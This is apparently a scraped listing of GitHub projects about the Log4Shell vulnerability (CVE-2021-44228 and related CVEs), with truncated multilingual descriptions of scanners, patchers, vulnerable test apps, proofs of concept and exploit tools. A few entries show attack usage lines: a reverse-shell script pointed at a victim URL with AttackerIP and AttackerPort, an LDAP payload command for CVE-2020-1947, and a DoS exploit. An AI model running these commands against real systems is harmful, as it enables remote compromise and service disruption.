Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 Questa è una proof of concept della RCE di log4j. Ecco alcuni link per la CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

log4j-finder

log4j-finder Uno script Python3 per scansionare il filesystem alla ricerca di Log4j2 vulnerabile a Log4Shell CVE-2021-44228 & CVE-2021-45046 & CVE-2021-45105. Scansiona ricorsivamente sia su disco che all'interno di file Java Archive JAR annidati. Come funziona log4j-finder identifica le librerie...

CVE-2021-44228-Scanner

log4j2-scan è uno strumento da riga di comando a binario singolo per la scansione della vulnerabilità CVE-2021-44228 e l'applicazione della patch di mitigazione. Supporta inoltre la scansione e la patch di file JAR annidati. Rileva anche CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0,...

mc-log4j-patcher

mc-log4j-patcher Sostituisce la vecchia versione di Log4j2 vulnerabile - CVE-2021-44228 con l'ultima 2.15.0 che contiene il fix per la RCE JNDI. Testato su Spigot 1.12.2, PaperSpigot 1.8.8, PaperSpigot 1.17.1 Questo strumento è pensato per correggere server attualmente non supportati, come...

Exploitation-of-Log4j2-CVE-2021-44228

Questo repository non contiene un README...

log4j2burpscanner

log4j2burpscanner CVE-2021-44228, plugin Burp log4j2 in versione Java; per il dnslog è stato selezionato un dominio non dnslog.cn Risultato: Della piattaforma di addestramento la piattaforma di addestramento è piuttosto lenta, ma le risorse Internet non hanno problemi; il motivo dovrebbe essere c...

log4j-lookups-vulnerability

log4j-lookups-vulnerability Das Projekt basiert auf Spring Boot, und der Code zeigt, wie die Log4j2-Schwachstelle CVE-2021-44228 funktioniert. Die Lösung für CVE-2021-44228 finden Sie unter dem verlinkten URL https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot...

log4j2-CVE-2021-44228

Beispiel für eine verwundbare Log4j2-Anwendung CVE-2021-44228 Betroffene Versionen: alle Versionen von 2.0-beta9 bis 2.14.1 Diese Anwendung basiert auf einer Spring-Boot-Webanwendung, die für CVE-2021-44228 anfällig ist. Sie verwendet Log4j 2.14.1 über spring-boot-starter-log4j2 2.6.1. Ausführen...

Apache-Log4j2-RCE

Apache Log4j2 RCE Ambiente di verifica Since from 2021.12.09 Riferimenti https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg Configurazione dell'ambiente Introduzione dei pacchetti Maven e intervallo di versioni vulnerabili root@kitploit: org.apache.logging.log4j log4j-api 2.14.1...

log4j2-test

Verificação da vulnerabilidade de execução remota de código LDAP do Log4j2 2.14.1 CVE-2021-44228 🎈 Testado em ambiente Spring Boot 2.x Aviso de vulnerabilidade https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Redução da versão do Log4j2 para a versão vulnerável root@kitploi...

log4j-rce-CVE-2021-44228

Panoramica Questo è un progetto per testare la vulnerabilità di esecuzione remota di codice in log4j2 CVE-2021-44228. Avviare i contenitori root@kitploit: docker-compose up Il contenitore log4j impiega un po' di tempo per diventare disponibile dopo l'avvio. Controlla lo stato con il seguente...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Uso root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerI...

log4j2-prosecutor

log4j2-prosecutor Motivação Esta vulnerabilidade fundamental foi relatada por CVE-2018-3149 e corrigida por este artigo. 8u121 Release Notes No entanto, a biblioteca de logging para java chamada log4j2 tinha JNDILookupCVE-2021-44228, que permitia acesso a protocolos como LDAP, o que permitia...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 — Log4Shell: Esecuzione di codice remota in Apache Log4j2 CVSS 10.0 CRITICA | CWE-502: Deserializzazione di dati non attendibili | CWE-917: Neutralizzazione impropria per l'iniezione di Expression Language Panoramica Log4Shell CVE-2021-44228 è probabilmente la vulnerabilità più gra...

log4j2

log4j2 questa è una demo di attacco jmi a log4j2, ispirata da link...

log4j2_dos_exploit

Descrizione about author: 我超怕的 blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 Exploit DoS log4j2 Script di exploit DoS per log4j2 Exploit CVE-2021-45105 Script di exploit per CVE-2021-45105 Utilizzo how to use Inglese： root@kitploit: Log4j2dos....

log4j-poc

log4j-poc PoC von log4j2 CVE-2021-44228...

CVE-2021-44228

Análise do CVE-2021-44228 Como funciona? Abaixo está um processo detalhado de um caso de injeção remota explorando a vulnerabilidade log4shell. Primeiro, há 3 partes que precisamos conhecer: 1. O Log4j2 permite o registro de dados usando um recurso chamado substituição de lookup de mensagem , ond...

log4j2-CVE-2021-44228-poc-local

log4j2-CVE-2021-44228-poc-local Solo una prova di concetto personale di CVE-2021-44228 su log4j2...